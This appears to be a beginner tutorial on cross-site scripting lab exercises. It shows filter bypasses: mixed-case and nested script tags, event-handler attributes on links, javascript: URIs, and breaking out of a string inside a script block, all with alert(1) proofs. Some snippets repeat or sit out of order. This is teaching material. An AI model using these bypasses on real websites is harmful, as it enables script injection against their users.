Cross Site Scripting
Cross Site Scripting
Example- 02:
Now the developer noticed the vulnerability. He fixed that vulnerability using some
Regular Expression. If you just try the previous payload and look at the ‘page
source’, you will notice that the <script> tag is escaped in the source code. In this
scenario many of us thinks that there no XSS is possible. But it’s possible. If we try
to modify our payload-
the xss will be executed. We can try to change any of the
<scRipt> alert(1) </scrIpt>
If we put <script>alert(1)</script> and view the ‘page source’ that will looks
something like this:
<div class="row">
<div class="col-lg-12">
<h1>XSS 02</h1>
<p>Welcome
noob mehedi;<Script>alert(1)</scRipt>!</p>
</div>
</div>
Example- 03:
This time developer noticed about our previous bypass. So he add some more
filtering. If we try our previous payload that will be escaped also. So we need to
find an alternative.
The developer this time implement a code where all the <script> tag will be
escaped. No matter how you try the <script> tag. So what we can do?
We will see in the ‘page source’ that <script> is escaped and testtest is exist in the
source code. This gives a good indication about our bypass. Now what if we try
<scrscriptipt> ?
<div class="row">
<div class="col-lg-12">
<h1>XSS 03</h1>
<p>Welcome
noob mehedi; alert(1)!</p>
</div>
</div>
<div class="row">
<div class="col-lg-12">
<h1>XSS 03</h1>
<p>Welcome
noob mehedi; <script>alert(1)</script>!</p>
</div>
</div>
Example- 04:
The text ‘Test’ will be shown in the browser as a link because we used <a> tag –
Now when we put your mouse on Test , a popup you will get. So the benefit of
using <a> tag is we can pretty sure where we should put or move our mouse to
execute our payload.
<a onmouseout = 'alert(1)' > Test </a> will execute when we move our mouse from
Test to out.
<a onmousemove = 'alert(1)' > Test </a> will execute when we move our mouse on
Test.
<a onclick = 'alert(1)' > Test </a> will execute when we click on Test.
You can also use javascript:alert(1) both with <a> tag and <img> tag.
More Readings
Example- 05:
The developer this time just tried to prevent <script> tag. So the developer this
time implemented the code in such a way therefore whatever the user gives input,
it echoed back in the <script> tag.
Didn't get it? Ok , just remember the <script> tag is already given in the page
source. Like this way-
<script>
// User input goes here whatever he gives input
</script>
suppose the user entered <script>alert(1)</script> . This will show in the page
source in this way-
<script>
<script>alert(1)</script>
</script>
If its go into a variable this will go into a variable. Suppose our variable is $x-
<script>
var $x = "<script>alert(1)</script>";
</script>
<div class="row">
<div class="col-lg-12">
<h1>XSS 06</h1>
<p>Welcome!
<script>
var $a= "noob mehedi"
</script>
</p>
</div>
</div>
<div class="row">
<div class="col-lg-12">
<h1>XSS 06</h1>
<p>Welcome!
<script>
var $a= "noob mehedi"";
</script>
</p>
</div>
</div>
Now we need to properly handle this. If we enter a ; this will look like this-
<div class="row">
<div class="col-lg-12">
<h1>XSS 06</h1>
<p>Welcome!
<div class="row">
<div class="col-lg-12">
<h1>XSS 06</h1>
<p>Welcome!
<script>
var $a= "noob mehedi"; var $b="";
</script>
</p>
</div>
</div>
Now we can get our pop up by using alert between var $a and var $b
<div class="row">
<div class="col-lg-12">
<h1>XSS 06</h1>
<p>Welcome!
<script>
var $a= "noob mehedi"; alert(1); var $b="";
</script>
</p>
</div>
</div>